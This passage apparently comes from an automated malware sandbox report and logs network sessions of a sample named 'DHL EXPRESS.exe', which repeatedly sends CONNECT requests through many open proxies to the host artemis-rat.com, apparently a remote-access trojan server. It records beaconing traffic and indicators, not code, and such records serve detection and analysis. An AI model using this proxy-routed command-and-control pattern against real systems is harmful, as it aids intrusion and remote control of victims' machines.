Mar 11, 2024 18:36:45.190129042 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.8	49928	57.128.163.242	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.039401054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.675009966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.549915075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.410027981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.910414934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.410402060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.909775972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.093638897 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:20.180335999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.8	49912	39.105.5.126	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.040914059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.8	49930	211.222.252.187	8193	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.042965889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.8	50144	43.157.32.4	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.046356916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.8	49847	5.44.42.115	58386	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.052571058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.8	49971	52.196.1.182	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.059817076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.329385042 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 18:36:45.338874102 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ef 41 2c 92 a8 e1 04 6a c9 b4 51 50 3d 4a e4 50 2b 11 c7 c8 68 42 43 6f ab 14 2e a4 f3 77 dc 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eA,jQP=JP+hBCo.w*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 18:36:45.609117031 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 96 62 47 01 15 5f 1a 10 82 e1 60 51 66 03 18 61 cf c7 9f af cd c5 21 7f 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9bG_`Qfa!DOWNGRD0000H010Uartemis-rat.com0240311171243Z260311171243Z010Uartemis-rat.com0"0H0jkhXp+v
Mar 11, 2024 18:36:45.614800930 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 fb a2 ae 94 aa c4 13 b2 e1 43 e1 b7 44 7b ea 1d 8a b0 46 f8 a8 ea 09 66 9c d7 53 aa 93 cb b5 20 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 e5 4b d4 55 da 5e 29 b2 26 69 3c 8d 06 c9 18 f1 df da e9 27 94 Data Ascii: %! CD{FfS (KU^)&i<'o!
Mar 11, 2024 18:36:45.882136106 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 9d 7d 44 78 4d 87 f5 41 47 72 50 a4 30 53 d8 1c 34 47 e7 bf a6 60 0b b6 b9 24 4f 51 c4 3e 9b d3 69 a6 e3 cc 1c e3 73 12 Data Ascii: (}DxMAGrP0S4G`$OQ>is

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.8	49917	41.33.203.115	1974	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.076252937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.768786907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.768820047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.381934881 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 18:36:49.447453022 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.8	49935	43.131.245.216	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.078012943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.8	49903	103.169.254.186	8061	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.082094908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.158999920 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.8	49968	51.15.242.202	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.082644939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.721874952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.596955061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.8	49970	195.154.172.161	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.084759951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:58.174550056 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.8	50029	162.243.102.207	9764	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.088490009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.8	50074	185.238.228.67	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.094810963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.249425888 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.8	50069	201.170.180.188	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.098643064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.549957991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.049998045 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.034380913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.065995932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.066005945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.066001892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.994458914 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.8	49986	163.172.171.22	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.102164984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.8	49994	147.75.34.86	10003	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.117846966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.419083118 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.8	49980	37.187.77.58	59870	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.118293047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.768764019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.690654993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.541755915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.331269026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.097343922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.8	50092	23.227.38.198	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.137764931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.292079926 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.8	50019	95.164.89.123	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.150940895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.452213049 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.8	49996	120.37.121.209	9091	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.154002905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.493376017 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 17:36:36 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.8	50026	121.159.146.251	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.157269001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.455765963 CET	310	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 17:36:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
